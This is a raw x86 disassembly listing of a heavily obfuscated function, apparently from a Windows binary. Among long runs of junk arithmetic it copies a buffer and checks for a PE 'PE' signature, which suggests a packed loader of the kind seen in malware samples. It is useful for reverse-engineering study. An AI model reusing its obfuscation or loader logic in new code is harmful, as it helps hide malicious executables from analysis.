mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x458], edx
mov eax, dword [ebp - 0x2d4]
cmp eax, dword [ebp - 0x458]
jg 0x1001330d
jl 0x10013301
mov ecx, dword [ebp - 0x2d8]
cmp ecx, dword [ebp - 0x45c]
ja 0x1001330d
mov dword [ebp - 0x134], 1
jmp 0x10013317
mov dword [ebp - 0x134], 0
movsx edx, word [0x1007f148]
imul edx, dword [ebp - 0x134]
test edx, edx
je 0x10013343
mov eax, dword [ebp - 0x64]
add eax, 0x29ed1cd
cdq
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
jmp 0x10013533
mov ecx, dword [0x1007f1b0]
or ecx, dword [0x1007f1b4]
je 0x100133c1
movsx edx, word [ebp - 0x20]
test edx, edx
je 0x10013374
movzx eax, byte [0x1007f026]
cdq
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], edx
jmp 0x10013386
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov edx, dword [ebp - 0x2e0]
mov dword [0x1007f170], edx
mov eax, dword [0x1007f180]
imul eax, dword [0x1007f158]
add eax, dword [0x1007f180]
mov dword [0x1007f180], eax
movsx ecx, word [0x1007f15c]
imul edx, ecx, 0x97f8972e
mov dword [0x1007f1a4], edx
jmp 0x10013533
movzx eax, word [0x1007f128]
cmp dword [0x1007f1a4], eax
jne 0x100133dc
mov dword [ebp - 0x138], 1
jmp 0x100133e6
mov dword [ebp - 0x138], 0
mov ecx, dword [0x1007f1b0]
not ecx
mov edx, dword [0x1007f1b4]
not edx
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x460], edx
mov eax, dword [ebp - 0x464]
or eax, dword [ebp - 0x460]
jne 0x10013427
movzx ecx, word [0x1007f1c8]
test ecx, ecx
jne 0x10013427
mov dword [ebp - 0x13c], 0
jmp 0x10013431
mov dword [ebp - 0x13c], 1
mov edx, dword [ebp - 0x138]
cmp edx, dword [ebp - 0x13c]
jle 0x10013469
mov eax, dword [0x1007fc38]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x30], ecx
movzx eax, byte [ebp - 0x13]
cdq
mov ecx, dword [ebp - 0x5c]
push ecx
mov ecx, dword [ebp - 0x60]
push ecx
push edx
push eax
call fcn.1005a1b0
mov byte [ebp - 0x13], al
jmp 0x10013533
mov edx, dword [ebp - 0x80]
or edx, dword [ebp - 0x7c]
jne 0x100134ce
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x46c], eax
mov dword [ebp - 0x468], ecx
mov edx, dword [0x1007f124]
cmp edx, dword [ebp - 0x468]
jb 0x100134ac
ja 0x100134a0
mov eax, dword [0x1007f120]
cmp eax, dword [ebp - 0x46c]
jbe 0x100134ac
mov dword [ebp - 0x140], 1
jmp 0x100134b6
mov dword [ebp - 0x140], 0
mov ecx, dword [ebp - 0x140]
not ecx
test ecx, ecx
jne 0x100134ce
mov dword [ebp - 0x144], 0
jmp 0x100134d8
mov dword [ebp - 0x144], 1
mov edx, dword [ebp - 0x144]
not edx
test edx, edx
je 0x10013533
mov eax, dword [0x1007f1b0]
or eax, dword [0x1007f1b4]
je 0x100134fc
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x148], ecx
jmp 0x10013506
movsx edx, byte [ebp - 0x11]
mov dword [ebp - 0x148], edx
mov al, byte [ebp - 0x148]
mov byte [0x1007f026], al
xor ecx, ecx
mov edx, dword [ebp - 0x80]
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x7c]
sbb eax, ecx
push eax
push edx
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [ebp - 0x80]
push edx
call fcn.1005a1b0
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0xa8]
add eax, 0x23f
mov dword [ebp - 0x398], eax
mov eax, dword [0x1007f144]
cdq
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x470], edx
mov ecx, dword [ebp - 0x470]
cmp ecx, dword [ebp - 0x5c]
jg 0x1001357a
jl 0x1001356e
mov edx, dword [ebp - 0x474]
cmp edx, dword [ebp - 0x60]
ja 0x1001357a
mov dword [ebp - 0x14c], 1
jmp 0x10013584
mov dword [ebp - 0x14c], 0
cmp dword [0x1007f144], 0x17
jg 0x10013599
mov dword [ebp - 0x150], 1
jmp 0x100135a3
mov dword [ebp - 0x150], 0
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x150]
jle 0x10013718
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x50]
jb 0x100135c9
mov dword [ebp - 0x154], 1
jmp 0x100135d3
mov dword [ebp - 0x154], 0
cmp dword [ebp - 0x34], 0x58
jb 0x100135e5
mov dword [ebp - 0x158], 1
jmp 0x100135ef
mov dword [ebp - 0x158], 0
mov edx, dword [ebp - 0x154]
cmp edx, dword [ebp - 0x158]
jg 0x10013660
mov eax, dword [ebp - 0x60]
or eax, dword [ebp - 0x5c]
jne 0x10013611
mov dword [ebp - 0x15c], 1
jmp 0x1001361b
mov dword [ebp - 0x15c], 0
movsx ecx, word [ebp - 0x18]
add ecx, dword [ebp - 0x15c]
sub ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x50]
add edx, 0xba
mov eax, dword [ebp - 0x38]
sub eax, edx
imul ecx, eax
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov dword [ebp - 0x88], 0x9b22
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x64]
imul edx, dword [0x1007f154]
mov dword [ebp - 0x64], edx
jmp 0x10013713
cmp dword [ebp - 0x64], 0
je 0x10013713
mov eax, dword [0x1007f180]
xor ecx, ecx
mov edx, dword [ebp - 0x74]
sub eax, dword [ebp - 0x78]
sbb ecx, edx
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x478], ecx
mov eax, dword [ebp - 0x47c]
or eax, dword [ebp - 0x478]
jne 0x1001369f
mov dword [ebp - 0x160], 1
jmp 0x100136a9
mov dword [ebp - 0x160], 0
mov eax, 0xa
sub eax, dword [ebp - 0x160]
cdq
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
movsx ecx, word [0x1007f148]
add ecx, dword [0x1007f158]
mov word [0x1007f148], cx
mov edx, dword [ebp - 0x34]
not edx
mov ecx, edx
mov edx, dword [0x1007f138]
mov eax, dword [0x1007f13c]
mov dword [ebp - 0x6a4], eax
not edx
sub ecx, edx
mov eax, dword [ebp - 0x24]
sub eax, 0x6b2d
cdq
xor ecx, eax
not ecx
mov edx, dword [0x1007f190]
mov eax, dword [0x1007f194]
mov dword [ebp - 0x6a8], eax
sub edx, ecx
mov dword [ebp - 0x34], edx
jmp 0x1001385a
mov ecx, dword [ebp - 0x44]
not ecx
mov edx, dword [ebp - 0x40]
not edx
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x480], edx
mov eax, dword [ebp - 0x484]
or eax, dword [ebp - 0x480]
je 0x10013767
mov eax, dword [ebp - 0x24]
cdq
add eax, 0x70fb894a
mov dword [0x1007f1a4], eax
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov cl, 6
call fcn.1005a210
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
jmp 0x1001385a
mov ecx, dword [ebp - 0x88]
or ecx, dword [ebp - 0x84]
jne 0x10013781
mov dword [ebp - 0x164], 1
jmp 0x1001378b
mov dword [ebp - 0x164], 0
movzx edx, word [0x1007f168]
cmp edx, dword [ebp - 0x164]
jle 0x10013805
cmp dword [ebp - 0x54], 0
je 0x100137b6
movsx eax, word [0x1007f1a8]
cdq
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], edx
jmp 0x100137c8
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov edx, dword [ebp - 0x2e8]
mov dword [0x1007f180], edx
mov eax, dword [0x1007f160]
mov edx, dword [0x1007f164]
mov cl, 6
call fcn.1005a1f0
mov dword [ebp - 0x54], eax
push 0x7027a
push 0xb7742e1a
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.1005a1b0
mov dword [ebp - 0x30], eax
jmp 0x1001385a
mov edx, dword [ebp - 0x30]
cmp dword [ebp - 0x38], edx
ja 0x10013826
movzx eax, word [0x1007f128]
not eax
test eax, eax
je 0x10013826
mov dword [ebp - 0x168], 1
jmp 0x10013830
mov dword [ebp - 0x168], 0
mov ecx, dword [ebp - 0x168]
not ecx
test ecx, ecx
je 0x1001385a
mov dword [0x1007f1a4], 4
movzx edx, word [0x1007f168]
mov eax, dword [ebp - 0x30]
sub eax, edx
mov ecx, dword [ebp - 0x30]
add ecx, eax
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0xa8]
add edx, 0x487
mov dword [ebp - 0x1c4], edx
push 8
push 0
push 0x58
push 0
movzx eax, word [ebp - 0x44]
push eax
call fcn.10036ef0
add esp, 0x14
mov word [ebp - 0x58], ax
movsx ecx, word [ebp - 0x58]
test ecx, ecx
je 0x1001389c
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x3c], eax
jmp 0x100138e3
mov eax, dword [0x1007f138]
mov ecx, dword [0x1007f13c]
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x48c]
or edx, dword [ebp - 0x488]
jne 0x100138e3
mov eax, dword [0x1007f120]
sub eax, 0x9d
mov word [0x1007f128], ax
imul ecx, dword [ebp - 0x3c], 0x7e
xor edx, edx
mov dword [0x1007f160], ecx
mov dword [0x1007f164], edx
cmp dword [ebp - 0x6e8], 0x40
jbe 0x10013f97
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
mov dword [0x1007f130], eax
mov dword [0x1007f134], ecx
cmp dword [0x1007f158], 0
jne 0x10013918
mov dword [ebp - 0x16c], 1
jmp 0x10013922
mov dword [ebp - 0x16c], 0
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x5c]
jne 0x10013936
mov dword [ebp - 0x170], 1
jmp 0x10013940
mov dword [ebp - 0x170], 0
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x170]
jg 0x10013962
xor ecx, ecx
mov dword [ebp - 0x2f0], 1
mov dword [ebp - 0x2ec], ecx
jmp 0x1001396d
xorps xmm0, xmm0
movlpd qword [ebp - 0x2f0], xmm0
mov edx, dword [0x1007f1d0]
mov eax, dword [0x1007f1d4]
mov dword [ebp - 0x494], edx
mov dword [ebp - 0x490], eax
mov ecx, dword [ebp - 0x2ec]
cmp ecx, dword [ebp - 0x490]
jg 0x10013a2a
jl 0x100139aa
mov edx, dword [ebp - 0x2f0]
cmp edx, dword [ebp - 0x494]
ja 0x10013a2a
mov eax, dword [0x1007fc38]
xor ecx, ecx
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [0x1007f138]
mov ecx, dword [0x1007f13c]
mov dword [ebp - 0x6ac], ecx
add edx, eax
mov dword [ebp - 0x30], edx
cmp dword [0x1007f170], 0
jne 0x100139ea
mov dword [ebp - 0x174], 1
jmp 0x100139f4
mov dword [ebp - 0x174], 0
movsx edx, word [0x1007f15c]
movzx eax, word [ebp - 0x1c]
imul edx, eax
add edx, dword [ebp - 0x174]
movsx ecx, word [0x1007f148]
imul ecx, dword [0x1007f144]
mov eax, dword [ebp - 0x34]
not eax
add ecx, dword [ebp - 0x24]
add eax, ecx
add edx, eax
mov dword [0x1007f140], edx
jmp 0x10013a50
cmp dword [ebp - 0x34], 0
je 0x10013a50
mov dword [0x1007f1bc], 8
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [ebp - 0x40]
push ecx
mov ecx, dword [ebp - 0x44]
push ecx
push edx
push eax
call fcn.1005a1b0
mov dword [ebp - 0x38], eax
push 0
push 1
push 0
push 0
push 0x81
call fcn.10036ef0
add esp, 0x14
movzx eax, ax
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
cmp dword [ebp - 0x54], 0
je 0x10013b02
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x5c]
je 0x10013aac
movsx eax, byte [ebp - 0x11]
sub eax, dword [ebp - 0x24]
movsx ecx, byte [ebp - 0x11]
add ecx, eax
mov byte [ebp - 0x11], cl
movzx eax, byte [0x1007f026]
cdq
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
mov dword [0x1007f198], eax
mov dword [0x1007f19c], edx
jmp 0x10013b00
cmp dword [0x1007f170], 0
je 0x10013ada
mov dword [ebp - 0x30], 8
mov eax, dword [ebp - 0x38]
cdq
sub eax, 0x1d15d864
mov word [0x1007f1c8], ax
movsx eax, word [ebp - 0x18]
cdq
sub eax, 0x23be319a
mov dword [ebp - 0x34], eax
jmp 0x10013b00
mov edx, dword [ebp - 0x88]
or edx, dword [ebp - 0x84]
jne 0x10013b00
xor eax, eax
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x28], eax
mov ecx, 0x8e
mov word [0x1007f128], cx
jmp 0x10013b7e
movzx edx, byte [ebp - 0x13]
movzx eax, word [0x1007f1b8]
xor eax, 0x53
sub edx, eax
jne 0x10013b20
mov dword [ebp - 0x17c], 1
jmp 0x10013b2a
mov dword [ebp - 0x17c], 0
movzx ecx, word [0x1007f16c]
test ecx, ecx
jne 0x10013b41
mov dword [ebp - 0x178], 1
jmp 0x10013b4b
mov dword [ebp - 0x178], 0
mov edx, dword [0x1007f154]
imul edx, dword [ebp - 0x178]
movsx eax, word [0x1007f1a8]
not eax
movzx ecx, word [0x1007f128]
sub eax, ecx
imul edx, eax
imul edx, dword [ebp - 0x17c]
not edx
xor eax, eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
mov ecx, dword [0x1007fc38]
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0x24], 0x91
push 0xb2501
push 0x7f48052a
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.1005a1b0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0xb0]
add edx, 0x3fc
mov dword [ebp - 0x180], edx
movzx eax, word [0x1007f168]
movzx ecx, word [0x1007f14c]
and eax, ecx
cdq
mov esi, eax
mov edi, edx
push 0
push 0x96
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.1005a1b0
xor esi, eax
xor edi, edx
movzx ecx, word [0x1007f16c]
add ecx, dword [ebp - 0x50]
movzx edx, byte [0x1007f027]
xor ecx, edx
xor eax, eax
sub esi, ecx
sbb edi, eax
not esi
not edi
mov dword [0x1007f160], esi
mov dword [0x1007f164], edi
movzx ecx, word [0x1007f1b8]
add ecx, 0x5fa92bcc
movzx edx, word [0x1007f1c8]
imul edx, ecx
mov word [0x1007f1c8], dx
mov eax, dword [ebp - 0xb0]
add eax, 0x297
mov dword [ebp - 0x6b0], eax
mov ecx, dword [ebp - 0x88]
or ecx, dword [ebp - 0x84]
je 0x10013cc2
mov dword [ebp - 0xac], 0
jmp 0x10013c74
mov edx, dword [ebp - 0xac]
add edx, 1
mov dword [ebp - 0xac], edx
cmp dword [ebp - 0xac], 0xdd
jge 0x10013cbd
mov eax, dword [0x1007f154]
add eax, dword [0x1007f188]
mov dword [0x1007f154], eax
mov ecx, dword [0x1007f170]
add ecx, 0x2230d0b6
xor edx, edx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x38]
and eax, 0x78
mov ecx, dword [ebp - 0x50]
sub ecx, eax
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
jmp 0x10013c65
jmp 0x10013d42
mov eax, dword [0x1007f1c0]
or eax, dword [0x1007f1c4]
je 0x10013d10
movsx eax, byte [ebp - 0x11]
cdq
push 0xc7261
push 0xd36953f7
push edx
push eax
call fcn.1005a1b0
mov byte [0x1007f027], al
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [0x1007f124]
push ecx
mov ecx, dword [0x1007f120]
push ecx
push edx
push eax
call fcn.1005a1b0
mov ecx, eax
mov eax, dword [ebp - 0x38]
cdq
sub eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x10013d42
cmp dword [str.C], 0
je 0x10013d42
mov ecx, dword [ebp - 0x70]
add ecx, 0xc633
movsx eax, byte [ebp - 0x12]
cdq
sub eax, ecx
mov byte [ebp - 0x12], al
mov dword [0x1007f180], 0x33ab0293
mov edx, dword [ebp - 0x3c]
sub edx, dword [str.C]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xb0]
add eax, 0x3f8
mov dword [ebp - 0x184], eax
imul ecx, dword [ebp - 0x24], 0x10aec6a3
mov byte [ebp - 0x13], cl
mov edx, dword [ebp - 0x34]
sub edx, 0x14f0
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0x180]
mov ecx, 0x1c0
sub ecx, dword [ebp - 0x184]
sub eax, ecx
cmp dword [ebp - 0x184], eax
je 0x10013f97
push 0
push 0xe7
push 0
movzx edx, word [ebp - 0x70]
push edx
push 0xe2
call fcn.10036740
add esp, 0x14
cwde
cdq
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
mov eax, dword [0x1007f1d0]
mov ecx, dword [0x1007f1d4]
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], ecx
mov edx, dword [ebp - 0x49c]
or edx, dword [ebp - 0x498]
jne 0x10013de7
mov dword [ebp - 0x188], 1
jmp 0x10013df1
mov dword [ebp - 0x188], 0
mov eax, dword [0x1007f1d0]
mov ecx, dword [0x1007f1d4]
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], ecx
cmp dword [ebp - 0x4a4], 0x3c
jne 0x10013e26
cmp dword [ebp - 0x4a0], 0
jne 0x10013e26
mov dword [ebp - 0x18c], 1
jmp 0x10013e30
mov dword [ebp - 0x18c], 0
mov edx, dword [ebp - 0x188]
cmp edx, dword [ebp - 0x18c]
jg 0x10013e6c
movsx eax, byte [ebp - 0x11]
imul eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6b4], eax
sub edx, 0x8fac
mov word [0x1007f1a8], dx
jmp 0x10013ef1
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6e0], eax
sub ecx, edx
mov edx, dword [ebp - 0x3c]
add edx, ecx
mov dword [ebp - 0x3c], edx
mov eax, dword [0x1007f144]
cdq
mov ecx, dword [0x1007f1d0]
mov esi, dword [0x1007f1d4]
push esi
push ecx
push edx
push eax
call fcn.1005a1b0
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], edx
mov edx, dword [ebp - 0x4ac]
or edx, dword [ebp - 0x4a8]
jne 0x10013ece
xor eax, eax
mov dword [ebp - 0x2f8], 1
mov dword [ebp - 0x2f4], eax
jmp 0x10013ed9
xorps xmm0, xmm0
movlpd qword [ebp - 0x2f8], xmm0
mov ecx, dword [ebp - 0x2f8]
mov edx, dword [ebp - 0x2f4]
mov dword [0x1007f188], ecx
mov dword [0x1007f18c], edx
movsx eax, byte [ebp - 0x12]
cmp eax, dword [ebp - 0x68]
je 0x10013f6e
mov ecx, dword [ebp - 0x64]
add ecx, dword [0x1007f180]
jne 0x10013f19
xor edx, edx
mov dword [ebp - 0x4b4], 1
mov dword [ebp - 0x4b0], edx
jmp 0x10013f24
xorps xmm0, xmm0
movlpd qword [ebp - 0x4b4], xmm0
movzx eax, byte [ebp - 0x13]
cdq
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x6bc], edx
add eax, ecx
xor eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x38], eax
mov eax, 8
imul ecx, eax, 0xb7
movzx eax, word [0x1007f128]
cdq
mov esi, dword [ecx + 0x103c74ec]
push esi
mov ecx, dword [ecx + 0x103c74e8]
push ecx
push edx
push eax
call fcn.1005a1b0
mov word [0x1007f128], ax
mov edx, dword [ebp - 0x6e8]
sub edx, 0x40
push edx
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xdd4]
push eax
call fcn.1005afd0
add esp, 0xc
movsx ecx, word [0x1007f148]
test ecx, ecx
je 0x10013fae
movsx edx, word [ebp - 0x20]
mov dword [ebp - 0x190], edx
jmp 0x10013fb9
mov eax, dword [0x1007f180]
mov dword [ebp - 0x190], eax
mov ecx, dword [ebp - 0x190]
mov dword [ebp - 0x38], ecx
mov edx, dword [0x1007f1b0]
add edx, 0x7e
mov dword [ebp - 0x38], edx
mov ecx, dword [0x1007f190]
mov esi, dword [0x1007f194]
not ecx
not esi
mov eax, dword [0x1007f140]
cdq
sub ecx, eax
sbb esi, edx
movzx edx, word [0x1007f16c]
sub edx, dword [ebp - 0x50]
not edx
xor eax, eax
add ecx, edx
adc esi, eax
not ecx
not esi
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], esi
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x6e8]
mov dword [ebp - 0x1c0], ecx
push 0
push 0
push 0xe2
push 0
push 0xc6
call fcn.10036ef0
add esp, 0x14
movzx eax, ax
cdq
mov dword [0x1007f1c0], eax
mov dword [0x1007f1c4], edx
cmp dword [0x1007f1c4], 0
jl 0x1001405a
jg 0x1001404e
cmp dword [0x1007f1c0], 0
jbe 0x1001405a
mov dword [ebp - 0x194], 1
jmp 0x10014064
mov dword [ebp - 0x194], 0
cmp dword [0x1007f1c4], 0
jl 0x10014084
jg 0x10014078
cmp dword [0x1007f1c0], 0x53
jbe 0x10014084
mov dword [ebp - 0x198], 1
jmp 0x1001408e
mov dword [ebp - 0x198], 0
mov edx, dword [ebp - 0x194]
cmp edx, dword [ebp - 0x198]
jle 0x10014115
mov dword [ebp - 0xb4], 0x2ab
jmp 0x100140b7
mov eax, dword [ebp - 0xb4]
sub eax, 1
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jle 0x10014113
imul eax, dword [0x1007f140], 0x4ca
cdq
mov ecx, dword [0x1007f190]
mov edx, dword [0x1007f194]
mov dword [ebp - 0x6b8], edx
mov edx, dword [0x1007f130]
mov esi, dword [0x1007f134]
mov dword [ebp - 0x6e4], esi
and ecx, edx
add eax, ecx
mov dword [str.C], eax
movzx eax, word [0x1007f16c]
cdq
add eax, dword [ebp - 0x44]
mov word [0x1007f16c], ax
mov al, byte [ebp - 0x12]
add al, 1
mov byte [ebp - 0x12], al
jmp 0x100140a8
jmp 0x10014158
movsx ecx, word [ebp - 0x58]
test ecx, ecx
je 0x10014158
mov edx, dword [0x1007f144]
imul edx, dword [0x1007f180]
mov eax, dword [0x1007f144]
add eax, edx
mov dword [0x1007f144], eax
movsx ecx, byte [ebp - 0x12]
movzx edx, byte [0x1007f026]
xor ecx, edx
movsx eax, byte [ebp - 0x12]
sub eax, ecx
mov byte [ebp - 0x12], al
mov ecx, dword [ebp - 0x34]
sub ecx, 0xad7116a
mov dword [ebp - 0x50], ecx
mov ecx, 0x3e
mov esi, dword [ebp - 0x1c0]
lea edi, [ebp - 0x844]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x1007f138]
mov eax, dword [0x1007f13c]
sub edx, 0xa537
sbb eax, 0
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], eax
movsx ecx, word [0x1007f15c]
mov edx, dword [ebp - 0x38]
xor edx, ecx
jne 0x1001419f
mov dword [ebp - 0x19c], 1
jmp 0x100141a9
mov dword [ebp - 0x19c], 0
movzx eax, byte [0x1007f026]
test eax, eax
jne 0x100141c0
mov dword [ebp - 0x1a0], 1
jmp 0x100141ca
mov dword [ebp - 0x1a0], 0
mov eax, dword [ebp - 0x19c]
xor eax, dword [ebp - 0x1a0]
and eax, dword [0x1007f144]
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
movzx eax, word [ebp - 0x1c]
cdq
mov ecx, dword [0x1007f160]
mov esi, dword [0x1007f164]
push edx
push eax
push esi
push ecx
call fcn.1005a1b0
mov ecx, dword [0x1007f160]
mov esi, dword [0x1007f164]
add ecx, eax
adc esi, edx
mov dword [0x1007f160], ecx
mov dword [0x1007f164], esi
cmp dword [ebp - 0x844], 0x4550
jne 0x10017190
push 0
push 0xd6
movzx edx, word [0x1007f154]
push edx
push 0x72
push 0
call fcn.10036740
add esp, 0x14
cwde
cdq
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
mov edx, dword [ebp - 0x4bc]
or edx, dword [ebp - 0x4b8]
je 0x100142a2
mov eax, 0xdf
mov word [ebp - 0x20], ax
movzx ecx, word [ebp - 0x1c]
sub ecx, 0x7c52dd2a
movzx edx, byte [ebp - 0x13]
sub edx, ecx
mov byte [ebp - 0x13], dl
movzx eax, word [0x1007f1a0]
not eax
cdq
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
jmp 0x1001432e
mov eax, dword [0x1007f178]
or eax, dword [0x1007f17c]
je 0x100142c2
movsx eax, word [ebp - 0x20]
cdq
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], edx
jmp 0x100142da
mov ecx, dword [0x1007f138]
mov edx, dword [0x1007f13c]
mov dword [ebp - 0x2b0], ecx
mov dword [ebp - 0x2ac], edx
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2ac]
mov dword [0x1007f160], eax
mov dword [0x1007f164], ecx
movzx eax, byte [0x1007f027]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [0x1007f134]
add ecx, dword [0x1007f130]
adc esi, edx
movzx eax, byte [0x1007f027]
cdq
push esi
push ecx
push edx
push eax
call fcn.1005a1b0
mov byte [0x1007f027], al
mov eax, dword [0x1007f1a4]
sub eax, 0xeb
mov dword [ebp - 0x30], eax
movsx ecx, word [0x1007f148]
imul ecx, dword [ebp - 0x50]
mov word [0x1007f148], cx
movzx edx, word [0x1007f1b8]
mov dword [0x1007f1bc], edx
mov eax, dword [0x1007f160]
mov ecx, dword [0x1007f164]
add eax, 0xacb1
adc ecx, 0
mov edx, dword [0x1007f160]
mov esi, dword [0x1007f164]
xor edx, eax
xor esi, ecx
mov dword [0x1007f160], edx
mov dword [0x1007f164], esi
mov eax, dword [0x1007fc38]
mov dword [ebp - 0xbc], eax
movzx eax, word [0x1007f1c8]
cdq
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], edx
mov ecx, dword [ebp - 0x4c4]
cmp ecx, dword [ebp - 0x44]
jne 0x100143bd
mov edx, dword [ebp - 0x4c0]
cmp edx, dword [ebp - 0x40]
jne 0x100143bd
mov dword [ebp - 0x1a4], 1
jmp 0x100143c7
mov dword [ebp - 0x1a4], 0
movzx eax, word [0x1007f1c8]
cmp eax, 0x2f
jne 0x100143df
mov dword [ebp - 0x1a8], 1
jmp 0x100143e9
mov dword [ebp - 0x1a8], 0
mov ecx, dword [ebp - 0x1a4]
cmp ecx, dword [ebp - 0x1a8]
jne 0x1001444e
mov edx, dword [0x1007f140]
cmp edx, dword [str.C]
jne 0x10014412
movsx eax, byte [ebp - 0x12]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1001444e
mov ecx, 0x71f9
test ecx, ecx
je 0x1001444e
imul edx, dword [ebp - 0x50], 0xc344
movsx eax, word [ebp - 0x18]
add eax, edx
mov word [ebp - 0x18], ax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
add ecx, dword [0x1007f1c0]
adc edx, dword [0x1007f1c4]
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
sub eax, ecx
sbb esi, edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
mov ecx, dword [ebp - 0xbc]
add ecx, 0x219
mov dword [ebp - 0x274], ecx
mov edx, dword [0x1007f1c0]
push edx
call dword [sym.imp.USER32.dll_GetParent]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x10014675
mov eax, 2
mov word [ebp - 0x18], ax
movzx eax, byte [0x1007f027]
cdq
mov ecx, dword [0x1007f138]
mov edx, dword [0x1007f13c]
mov dword [ebp - 0x618], edx
add eax, ecx
mov byte [0x1007f027], al
cmp dword [0x1007f170], 0
jne 0x100144c1
xor eax, eax
mov dword [ebp - 0x300], 1
mov dword [ebp - 0x2fc], eax
jmp 0x100144cc
xorps xmm0, xmm0
movlpd qword [ebp - 0x300], xmm0
movsx ecx, byte [ebp - 0x12]
test ecx, ecx
jne 0x100144e8
xor edx, edx
mov dword [ebp - 0x308], 1
mov dword [ebp - 0x304], edx
jmp 0x100144f3
xorps xmm0, xmm0
